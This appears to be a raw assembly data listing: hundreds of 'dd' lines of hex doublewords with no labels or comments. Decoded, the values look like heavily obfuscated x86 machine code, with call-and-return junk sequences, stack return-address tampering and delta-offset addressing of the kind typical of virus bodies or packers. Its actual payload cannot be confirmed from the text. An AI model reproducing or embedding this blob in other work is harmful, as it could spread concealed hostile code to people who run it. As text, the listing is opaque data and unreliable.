		dd 0FDEB752h, 0EE86031h, 36000000h, 6608E914h, 3F512E1Bh
		dd 0C3393525h, 42B85FB8h, 612BF085h, 8B585Ah, 4244489h
		dd 7E5688BAh, 6A5805h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 6F68EBC3h, 818C36E1h, 0C807D9EBh
		dd 35950945h, 6A061D2Ah, 0DF8B66FFh, 6995FFh, 0BF0F061Dh
		dd 0C870FDFh, 0F000000h, 68Ch, 8E0F00h,	61000000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E9C35646h, 8DD95FFh
		dd 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 33A2E9C3h, 5C3247E3h, 9D2B4439h, 61D2FD9h
		dd 4C1F8D8Bh, 9D8B061Dh, 61D3171h, 0BA6601FEh, 0BD83204Eh
		dd 61D3011h, 6850F01h, 0B2000000h, 25BB6641h, 6AC08B31h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 23C351h, 0C425AC0Fh, 0DE856h, 5DA80000h
		dd 8266115Eh, 0DC4D84A6h, 8900CBECh, 1D3129BDh,	835B5A06h
		dd 1D1669BDh, 9750006h,	121BD83h, 7400061Dh, 8B53501Ah
		dd 69858BC0h, 89061D2Ah, 1D2A6985h, 3D9D8D06h, 0FF061FA6h
		dd 83585BD3h, 1D0121BDh, 18740006h, 858B5350h, 61D2A69h
		dd 2A698589h, 9D8D061Dh, 61FA32Ch, 585BD3FFh, 10CD9D8Bh
		dd 958B061Dh, 61D3395h,	0F56C08Bh, 835ADFB7h, 1D20F9BDh
		dd 850F0006h, 46h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0B7C35141h, 527EBA66h, 1B39BD83h, 0F00061Dh
		dd 1984h, 138E0F00h, 0E9000000h, 0Eh, 91FAF9B0h, 0D224874h
		dd 605A03A1h, 0BD833933h, 61D20F9h, 51840F00h, 0F000000h
		dd 108Ch, 0BE900h, 4C880000h, 942BCAB1h, 0A46258DEh, 88C2811Dh
		dd 831023A3h, 1D18F5BDh, 840F0006h, 28h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 9AC35040h, 0E77D1FEDh
		dd 0BD31677Eh, 61D2AC5h, 20F9BD83h, 0F00061Dh, 5884h, 64BA6600h
		dd 0F5BD83AEh, 61D18h, 47840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 824DFAC3h
		dd 6063873Bh, 2E6D8D89h, 8589061Dh, 61D2569h, 128C0F61h
		dd 0E9000000h, 0Dh, 5BEC4CD5h, 0F73ADDD5h, 1FF1E07Fh, 0F9BD8311h
		dd 61D20h, 3E840Fh, 9D330000h, 61D0659h, 83DBB70Fh, 1D11FDBDh
		dd 840F0006h, 28h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 44C35545h, 4DB58965h,	66061D0Fh, 0DED2DA81h
		dd 20F9BD83h, 0F00061Dh, 7184h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 26BD7DEDh
		dd 0DE99Fh, 73BD0000h, 9F48275Dh, 3864987Fh, 83407B2Dh
		dd 1D187DBDh, 840F0006h, 32h, 0FF19D380h, 1D271595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 964A70C5h, 86F1C97Ah, 0E2F4BABDh, 0C08B2EC6h, 69BD83F8h
		dd 61D16h, 0BD830975h, 61D0121h, 501A7400h, 8BC08B53h
		dd 1D0F3D85h, 3D858906h, 8D061D0Fh, 1FA6A49Dh, 5BD3FF06h
		dd 21BD8358h, 61D01h, 53501874h, 0F3D858Bh, 8589061Dh
		dd 61D0F3Dh, 0A3459D8Dh, 0D3FF061Fh, 0DE9585Bh,	7A000000h
		dd 0A594280Bh, 0AB9FB2Eh, 557036FDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0ABC35646h,	11B28C7Ah, 6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FDE71C3h, 184h, 0DB81F800h,	7A221A07h, 20F9BD83h, 0F00061Dh
		dd 55E84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 8314B6A5h, 1D005DBDh, 840F0206h
		dd 16h,	0EDF28166h, 15BD833Fh, 1061D21h, 4850Fh, 0BA660000h
		dd 0BD834D4Dh, 61D2A49h, 0D6840F00h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0ADC357h, 9D8B0BA9h,	61D189Dh, 0F719D89h, 8A60061Dh
		dd 1F8D8BDCh, 29061D4Ch, 1D0665BDh, 6A01FE06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 1EFC353h, 1D09098Dh,	96A6806h, 0BB660CC9h, 348175C9h
		dd 0C909EA24h, 0CE90Ch,	0D65B0000h, 3C4ED891h, 4D7A5221h
		dd 9D896D02h, 61D2CDDh,	6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0ED6672C3h, 3A869433h
		dd 95894B42h, 61D25D5h,	6995FFh, 958B061Dh, 61D3105h, 0E961DE8Bh
		dd 11h,	0F3D29A5Dh, 0AE907DDEh,	0B558576Fh, 9D269BC0h
		dd 50566014h, 5B5A5B51h, 4C1F8D8Bh, 0D98B061Dh,	8C0F01FEh
		dd 2, 7968FE8Ah, 51C4C244h, 815AABB6h, 0BC072404h, 8F0F3B3Dh
		dd 0
		dd 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 1C1341C3h, 8260CA0h, 0DE9h, 0A17A3E00h, 0C9BBCD72h
		dd 0B57F3250h, 95FF895Dh, 61D0069h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0ADC35141h,	1485E9BBh, 6061F7F6h
		dd 0B0CB81F8h, 61564C03h, 10FDBD8Dh, 0CE9061Dh,	6D000000h
		dd 5D56EC79h, 0EB7F286Ch, 8BF3ED26h, 6A1C4Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 639D6FC3h
		dd 642D43DBh, 8D89F77Fh, 61D0061h, 0BE8016Ah, 3A000000h
		dd 61E4E552h, 0E4FA6AD3h, 0BF0FCD4Ch, 8B505AD6h, 240C89DEh
		dd 858DDF8Bh, 62034F1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 75C35646h, 9499D8Bh, 0D0FF061Dh, 21E59D8Bh
		dd 4F8B061Dh, 11E820h, 85740000h, 0E867031h, 0B6CB2ACBh
		dd 9BD1D015h, 895F7721h, 1D21AD9Dh, 36A5A06h, 14718D89h
		dd 8960061Dh, 1D13418Dh, 9161F906h, 0D739BB66h,	47B75750h
		dd 8B66915Bh, 0F1858DD8h, 6A062034h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 60FAC353h
		dd 8EC38193h, 0FF09C916h, 0ED9D8BD0h, 8D061D2Bh, 1D10FDBDh
		dd 8DA1BB06h, 4F8B4A29h, 6A19B61Ch, 0DD9D0B01h,	50061D2Bh
		dd 2DBA5250h, 0F6652A5h, 0DA8B6631h, 0C89585Ah,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 5E852h, 83570000h, 90219A1h,	1D06758Dh, 810F5A06h, 0
		dd 34F1858Dh, 6A0620h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 3499E9C3h, 0E899B059h, 0Fh, 0CD2151D8h
		dd 0BC0EB168h, 2E56EF50h, 0F9ACA26h, 0E85BD0BFh, 14h, 5C380D63h
		dd 0A615D4BFh, 21A52955h, 6E03D5D9h, 93E90141h,	0BE8h
		dd 0A448600h, 0B255199Ah, 296EDB60h, 810Fh, 5A5A0000h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0E5E499C3h, 0A5B3B06h, 0F45FE77h,	840FD9BFh
		dd 1, 204F8BF9h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	0DCC35242h, 33A5958Bh, 9589061Dh, 61D0741h, 8589036Ah
		dd 61D2F25h, 0DE991h, 25E80000h, 10EE7208h, 0A2048746h
		dd 5082BC40h, 13E8h, 9BE23000h,	0E8A65E18h, 1AF1F513h
		dd 8506D78Fh, 0BB096EFBh, 5E8h,	3101B900h, 10E83134h, 0C6000000h
		dd 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh, 5BD7CB71h, 66915B5Ah
		dd 8D644CBBh, 2034F185h, 9858906h, 8B061D27h, 1D1FE99Dh
		dd 6AD0FF06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 8C53C352h, 26406CB5h, 21958BE4h
		dd 8B061D20h, 1D4C1F8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FE589156h, 55006A01h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 9B54FFB4h, 4A0EBB5Ah, 0DE8B712Dh, 4C1F858Bh,	6A061Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 878A62C3h, 64A174D8h, 6A00FEh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0E12DAEC3h, 4E8016Ah
		dd 0FF000000h, 0B3FFFF9Fh, 0BA6650A3h, 448BF4FCh, 0DE8B0424h
		dd 5B57008Bh, 4244489h,	6058D08Ah, 2EEBE881h, 0C9813420h
		dd 38343F91h, 0FB858D61h, 81062034h, 0B25C88D2h, 29D0FF23h
		dd 1D142995h, 0F9958906h, 83061D1Bh, 1D1B39BDh,	840F0006h
		dd 0D9h, 4CBB66FCh, 0C1BD83F6h,	1061D31h, 0C7850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BE9F4C3h, 3C000000h, 652915B9h, 50DA2A98h, 0BA66B4FDh
		dd 8D8DE420h, 6203505h,	11E9h, 62998F00h, 0B390989Bh, 0E88FE5BFh
		dd 137C6732h, 6AF8B369h, 8AA2B603h, 8A016AF4h, 0FD1FFFEh
		dd 16AD2B7h, 3271BD29h,	16A061Dh, 415D57BAh, 6AD1FF2Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A3D2C355h, 506060BFh, 961F55Fh, 1D20699Dh
		dd 35E86106h, 6AFA3E5Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 5CE9C353h, 0E99765BEh
		dd 5, 571085ADh, 66206A13h, 6A8F57BAh, 53006AFFh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 24A0043Dh, 0F9A571E8h, 0AE94F25h, 0CE000000h, 0E2F02B76h
		dd 0C1AA60DBh, 6995FFF6h, 66061D00h, 0B83549BAh, 0
		dd 5880Fh, 0D4BB0000h, 0B37A2D0h, 53840FC0h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0CEE5C353h, 83F02B76h, 1D2A39BDh,	840F0006h
		dd 26h,	12DA8166h, 0C995FF1Ah, 60061D11h, 0EE9h, 7BD7EA00h
		dd 0E93644E2h, 1DC4A54Ah, 81683D29h, 0E82495C3h, 858B6159h
		dd 61D2F49h, 0EE9D18Bh,	0EC000000h, 286C5D56h, 0ED26EB7Fh
		dd 4BBAC3F3h, 0C6D1h, 0F46ABA66h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0CB6B3842h
		dd 678D4911h, 66D98B66h, 0D78BD98Ch, 5D3707BAh,	4C1F64Bh
		dd 74840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 809310C3h, 4FE94CD7h, 60000000h
		dd 2E6D858Bh, 0CE8B061Dh, 0C1B58B61h, 0BA061D29h, 598472DAh
		dd 1180C681h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0F51CBC3h, 58Dh,	537DBB00h, 6C71A9Dh
		dd 0
		dd 1951958Bh, 8B5E061Dh, 1D2F099Dh, 89BB6606h, 0F88363h
		dd 0B7F840Fh, 0F8830000h, 18850F01h, 0F000001h,	0F84h
		dd 0AE900h, 8F070000h, 763D57FAh, 0FB658A58h, 0B8h, 0D78B6600h
		dd 0BDA8B66h, 85840FC0h, 0BB000000h, 4CBBBB33h,	0F01F883h
		dd 8D84h, 7EF38100h, 83667A5Bh,	840F03F8h, 3Fh,	0CDEA8166h
		dd 0B864h, 11E90000h, 7000000h,	0FDFA98Ch, 0D2FA7095h
		dd 5009B593h, 6FA035F2h, 7974BD8Dh, 8166005Bh, 8BCEE0D3h
		dd 1D01F195h, 57E7FF06h, 5E9h, 9E897900h, 0B85B5D1Ch, 1
		dd 0B4CA8151h, 5B654356h, 7974BD8Dh, 8A0F005Bh,	4, 4A7EBA66h
		dd 870FE7FFh, 4, 6F15BB66h, 42ABBD8Dh, 840F061Dh, 3, 0E908DB80h
		dd 29Ah, 85C71AB6h, 61D4C7Ah, 5, 10CD9D8Bh, 5B8061Dh, 0E9000000h
		dd 9F7h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	77C35040h, 7332FC37h, 0E02D2768h, 3FADBB5Fh, 6E94D74h
		dd 0A3000000h, 88948D24h, 55BD317Ah, 83061D13h,	850F02F8h
		dd 0EEh, 0B8DE8Bh, 66000000h, 0BEEA4BBh, 0AE840FC0h, 0E8000000h
		dd 13h,	52FE7A6Dh, 59F343E1h, 8BAAE75h,	14823C81h, 0E8258845h
		dd 10h,	1F62B562h, 0BA9D0498h, 0E8FD9CE5h, 0A05E0AD0h
		dd 5B5B6160h, 0F01F883h, 0FFFF5584h, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 5484BF0Ch
		dd 0F7D37CEh, 1524143h,	1D1B699Dh, 0F8835A06h, 0E0840F03h
		dd 81FFFFFEh, 291A12D3h, 0B84Dh, 958B0000h, 61D1401h, 7974BD8Dh
		dd 8957005Bh, 1D067D8Dh, 0FE95B06h, 22000000h, 82DA6C67h
		dd 6DD22492h, 3D0EE036h, 0E7FFE827h, 370AE381h,	8B665563h
		dd 0A3BD8DDEh, 6A061D44h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F549C356h,	151E9h
		dd 0EA8BB00h, 0F8836506h, 41850F03h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 826CC350h, 9D2BDA64h, 61D1619h, 4637BD8Dh, 34B3061Dh
		dd 111E9h, 0AE900h, 963C0000h, 0E238914h, 16B9EFEh, 0F05F883h
		dd 1785h, 399D8B00h, 89061D2Dh,	1D06EDB5h, 861E906h, 95890000h
		dd 61D0A05h, 0F06F883h,	2585h, 81D78A00h, 0C05F0BD2h, 2FBD8D69h
		dd 0E9061D48h, 7, 0D1CEC658h, 0E911A689h, 0BAh,	14899D89h
		dd 0F883061Dh, 69850F07h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0E24EC352h
		dd 660A90D9h, 0BD8DD78Bh, 61D231Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A3C35545h,	2E54243Ch, 0E9D88B34h
		dd 10Ch, 13E9h,	80339900h, 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h
		dd 0EF9BE7D0h, 0F0AF883h, 3985h, 0E3EB8000h, 4A27BD8Dh
		dd 0B589061Dh, 61D1BC9h, 25E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F9BCAD81h
		dd 3A336AEh, 6A57985Ch,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0E1C9C357h,	0C2805308h
		dd 53B95B87h, 0E9625B7Eh, 0Bh, 68A796A1h, 0D582AF4Bh, 0F60BCBEh
		dd 285h, 8355B600h, 840F003Fh, 64h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0A2C35646h,	66E28166h, 0B20F30F5h
		dd 6AC9D1B1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 4C18C356h, 44F90221h, 8A748BC7h
		dd 68B0Fh, 0C2810000h, 728386C1h, 0F7BB6647h, 0FF95E9B9h
		dd 0F8B7FFFFh, 3EF6805Fh, 4C23BD89h, 9589061Dh,	61D25ADh
		dd 22158D8Dh, 0B5FF061Dh, 61D00FDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 5CC35545h, 6642A668h, 0E9B3A1BAh
		dd 0Fh,	0D32C36C1h, 46D35D07h, 7C801190h, 8DBD577Ah, 1F9F6E85h
		dd 0BD8D5006h, 61D540Ah, 6E958D8Dh, 0BCB8061Dh,	2B54831Ah
		dd 0D00730CFh, 754947C8h, 28B58DF8h, 8D061D6Eh,	1D6EAD8Dh
		dd 0F3CF2B06h, 0B8C933A4h, 0
		dd 4674C00Bh, 2A39BD83h, 7400061Dh, 0C995FF06h,	8B061D11h
		dd 1D4C23B5h, 6E858D06h, 0FF061F9Fh, 40858DD0h,	0FF061D42h
		dd 1985C7D0h, 1061D06h,	8B000000h, 1D2E25A5h, 65B58B06h
		dd 8B061D11h, 1D2575ADh, 0C2C03306h, 8F0F000Ch,	6, 23059D29h
		dd 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0F7570C3h, 6840F60h, 89000000h, 1D07018Dh
		dd 0D5852306h, 61061D2Fh, 1BBDB589h, 0BD83061Dh, 61D3071h
		dd 35840F00h, 80000000h, 95FFDCCBh, 61D0381h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 43C35545h, 69306B5Fh
		dd 5E9E2h, 0ECB60000h, 0F9520805h, 28DDBD83h, 0F00061Dh
		dd 1CF85h, 7EBA6600h, 0C1BD838Eh, 1061D31h, 1BE850Fh, 83FC0000h
		dd 1D213DBDh, 840F0006h, 1B0h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0BAC35646h,	0A00166DEh, 17E19D8Bh
		dd 0BD83061Dh, 61D4C76h, 7D840F00h, 51000001h, 1C219533h
		dd 8D5A061Dh, 1F9F6E85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 5803BFA1h, 8FDAD3D1h
		dd 0BB666197h, 958BEE16h, 61D2BD1h, 4C23B58Bh, 0EE8061Dh
		dd 5000000h, 0CE2E0ED3h, 8A686069h, 5E01BC15h, 0F5958B6Dh
		dd 5B061D1Ch, 9D89D0FFh, 61D3359h, 1B2585C6h, 8B54061Dh
		dd 1D12C99Dh, 0B19D8906h, 0E8061D17h, 4, 0FF4EBEF4h, 19860F52h
		dd 0E8000000h, 13h, 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 95032A53h
		dd 5A3DD78Ch, 13E9505Bh, 98000000h, 0EB07C13Dh,	0D0A6960Eh
		dd 1E9AF98h, 0B80DE3C1h, 448BC50Eh, 0D08B0424h,	5060008Bh
		dd 0F616052h, 5AE68A31h, 0FA02BF58h, 896114E4h,	0E9042444h
		dd 7, 505EBA8Ch, 581A5531h, 106ABA66h, 11E5B5FFh, 890F061Dh
		dd 3, 8D90CA80h, 1D3A8385h, 0FC28006h, 9D89D0FFh, 61D25FDh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 2C86AEC3h, 0F9ED2483h, 0BE99Dh, 51CE0000h
		dd 0C9EF295Fh, 0A8F99E5Ch, 3FF6A94h, 1D079595h,	89D0FF06h
		dd 1D30F58Dh, 61B5FF06h, 8B061D02h, 1D164595h, 0FD95FF06h
		dd 6A061D00h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0EF73C353h, 4C23B58Bh,	6A061Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0F3327CC3h, 47ED32BEh, 89C35B52h, 1D328585h,	49B58B06h
		dd 80061D2Fh, 0EE930F2h, 1F000000h, 0DEB2D349h,	6F19A4EEh
		dd 0FD89E6C8h, 0FF60B73h, 5084h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 5B35CFD9h
		dd 2FB58589h, 8D89061Dh, 61D1D21h, 6A0006C6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 61E1C353h, 6ABB6666h, 2B8589B0h, 53061D4Ch, 5ADCC780h
		dd 0F00F883h, 37C84h, 7E900h, 0C1370000h, 43FF39F9h, 0B871h
		dd 8C0F0000h, 0Ch, 6890Fh, 8D890000h, 61D2CD1h,	0F00F883h
		dd 0F784h, 2F88300h, 99850Fh, 0D08B0000h, 42A6858Dh, 6A061Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0E89106C3h, 326E0254h, 663B633Dh, 9464D381h,	2DF8D78Bh
		dd 929h, 50D2B70Fh, 0BE8h, 77796600h, 589D8227h, 0DFD6715Bh
		dd 0CCBA5250h, 0F0DF95Eh, 5AD98A31h, 4895A58h, 0DABF0F24h
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0E167ED52h, 51BA66BEh, 0BE957E3h, 67000000h
		dd 0A26EEF0h, 0C0446454h, 0B85B92D0h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FC35646h
		dd 86E961E0h, 6A000002h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6067C357h, 1F81858Bh
		dd 0C881061Dh, 5C91E32Bh, 0DFBF0F61h, 1B8h, 0C9C38000h
		dd 42ABBD8Dh, 0F53061Dh, 68Bh, 820F00h,	5B000000h, 0EFE9h
		dd 919D8B00h, 83061D2Bh, 850F02F8h, 4Eh, 7E8h, 690D7A00h
		dd 657289E5h, 65C38166h, 0BD8D5AD5h, 61D44A3h, 23D9D2Bh
		dd 0BDE9061Dh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0DACDC355h,	0F05E5A39h
		dd 0DE8BB0FFh, 941B589h, 0F883061Dh, 73850F03h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 21BEC355h, 9908A23Ch, 6840F05h, 8B000000h
		dd 1D07A59Dh, 0EE906h, 0C9730000h, 50C58AB8h, 0B8359A7Eh
		dd 0F120F9E6h, 4637BD8Dh, 6A061Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0C2AECDC3h, 0E96E7F85h
		dd 1Ch,	15D9B529h, 0F883061Dh, 0D850F05h, 66000000h, 0ACE9D78Bh
		dd 0BA000000h, 517EF10Fh, 0B9F18A57h, 625B7E53h, 1921BD89h
		dd 8E8061Dh, 2000000h, 272884E3h, 89EC796Dh, 1D137D85h
		dd 3F835B06h, 7C840F00h, 50000000h, 81B58953h, 5A061D27h
		dd 9D89605Bh, 61D0349h,	58E0Fh,	81660000h, 618018E7h, 14E80F30h
		dd 51000000h, 0F2EB7B4Eh, 0DC6A45CEh, 0A9C0B323h, 702AFCBh
		dd 898EDED2h, 1D04518Dh, 0C9D15B06h, 1ACD9D8Bh,	8147061Dh
		dd 0BB5584E2h, 0FFA4E912h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 15957C3h
		dd 6660FAD1h, 0B866D18Bh, 83610C2Dh, 850F05F8h,	99h, 6880Fh
		dd 95030000h, 61D1C9Dh,	6AD98C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 3B0DC355h
		dd 662648D8h, 8A0521BBh, 4C1F6F0h, 39850Fh, 0DA810000h
		dd 4615CDDBh, 0B8h, 66CF8000h, 0BBF7BB66h, 44E9h, 880F5600h
		dd 6, 2F05958Bh, 0E95B061Dh, 0Fh, 5CC20F76h, 54491669h
		dd 382E90FDh, 8BC1FFC7h, 1D0A1585h, 2EF2BA06h, 0E9523A6Bh
		dd 9, 2E818A0Ch, 0F10A859Fh, 0E0FF5A81h, 48A66BAh, 0FDBD8332h
		dd 61D00h, 117850Fh, 9E90000h, 0B9000000h, 28F4F0CDh, 1DF3A737h
		dd 4DBA6690h, 6E950A3h,	5E000000h, 0D2C0368Dh, 1CBB90F1h
		dd 0C601A41Ch, 1D1B2585h, 95294506h, 61D2601h, 4E8h, 72696900h
		dd 0D88B668Eh, 365ABB50h, 448B3EEDh, 13E80424h,	0C0000000h
		dd 507282FAh, 7FC1C585h, 0FD977B4Ah, 439874E1h,	8E0F7618h
		dd 3, 5AD68B66h, 5250008Bh, 860F53h, 5A000000h,	6E8310Fh
		dd 98000000h, 229C34B6h, 0F525019h, 5B585A31h, 4489585Ah
		dd 0FC580424h, 11E5B5FFh, 6A061Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 950376C3h, 61D06ADh
		dd 1271958Bh, 858D061Dh, 61D3A83h, 0EE9h, 8EC48000h, 0C4D0E24Fh
		dd 31D8BA5Eh, 0FF6DFA2Dh, 0D6B70FD0h, 0FD8589h,	6A061Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0A7004BC3h, 0BB6B51A2h, 42869749h, 2F95BD29h, 8958061Dh
		dd 1D2D41B5h, 7ABD8306h, 61D4Ch, 5E840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E751A6C3h, 8E40C4C2h, 0BB6A5193h, 69EB8523h, 261B5FFh
		dd 6A061Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0F0A2D4C3h, 3AB9CBD3h, 1A319D8Bh,	95FF061Dh
		dd 61D00FDh, 0F00F883h,	0E485h,	0F1953300h, 83061D22h
		dd 1D0439BDh, 840F0006h, 52h, 0FFD8B70Fh, 1D0439B5h, 11E906h
		dd 1AB10000h, 64826CCFh, 86CADAh, 3610FE48h, 0B84E526Dh
		dd 1, 0F60B1B6h, 68Eh, 34C38100h, 95A6869h, 1D04258Dh
		dd 22E96106h, 0E8000002h, 8, 0D1431F53h, 21F38B24h, 0E9F28166h
		dd 0B5FF5A8Eh, 61D0261h, 49E28166h, 68D0FDBh, 8B000000h
		dd 1D11E995h, 61B5FF06h, 6A061D02h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0D4BEC357h
		dd 31FDB589h, 0B5FF061Dh, 61D00FDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0C4C35545h,	0D2AB825Dh, 0F433CD7Ah
		dd 18589ADh, 0F9061D2Dh, 198E9h, 8DBB6600h, 24BA661Bh
		dd 0B70F5FA4h, 0D1BD83D6h, 61D0Bh, 0CC850Fh, 0F3810000h
		dd 2B1A3808h, 1B2585C6h, 0E94D061Dh, 0Eh, 513BA480h, 1D594BA2h
		dd 0E43EBAECh, 0E368EE40h, 0FB64EC4h, 28Ah, 81D08B00h
		dd 0B24B2434h, 5CBB127Bh, 0FF20E1A6h, 1D1365B5h, 0E8D38106h
		dd 8D5DF5CCh, 1D3A8385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 604404D1h, 0D0FFF27Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9BC35545h
		dd 8B93689Fh, 87F4FD10h, 0BE912h, 65C90000h, 0DD44DF78h
		dd 0C8563153h, 0D1858937h, 6A061D0Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 10E1C356h
		dd 3067C673h, 0B8EA15h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FC78C352h
		dd 4C23BD89h, 8166061Dh, 0BBEA9EAh, 11840FC0h, 8B000000h
		dd 1D08BD95h, 73E906h, 9D330000h, 61D19FDh, 0FDB5FFh, 0D88B061Dh
		dd 7D858B60h, 89061D02h, 1D070995h, 858D6106h, 61F9F6Eh
		dd 14E8h, 0E2EF9C00h, 58A74630h, 5ACE4165h, 7207624Dh
		dd 5CA36923h, 0B58B6038h, 61D026Dh, 31DDBD89h, 5B61061Dh
		dd 896AB750h, 12E82404h, 4000000h, 5F8B90C0h, 124CD3E3h
		dd 904AF22Fh, 0C84BF355h, 0BF0F6092h, 0A18D89F1h, 61061D12h
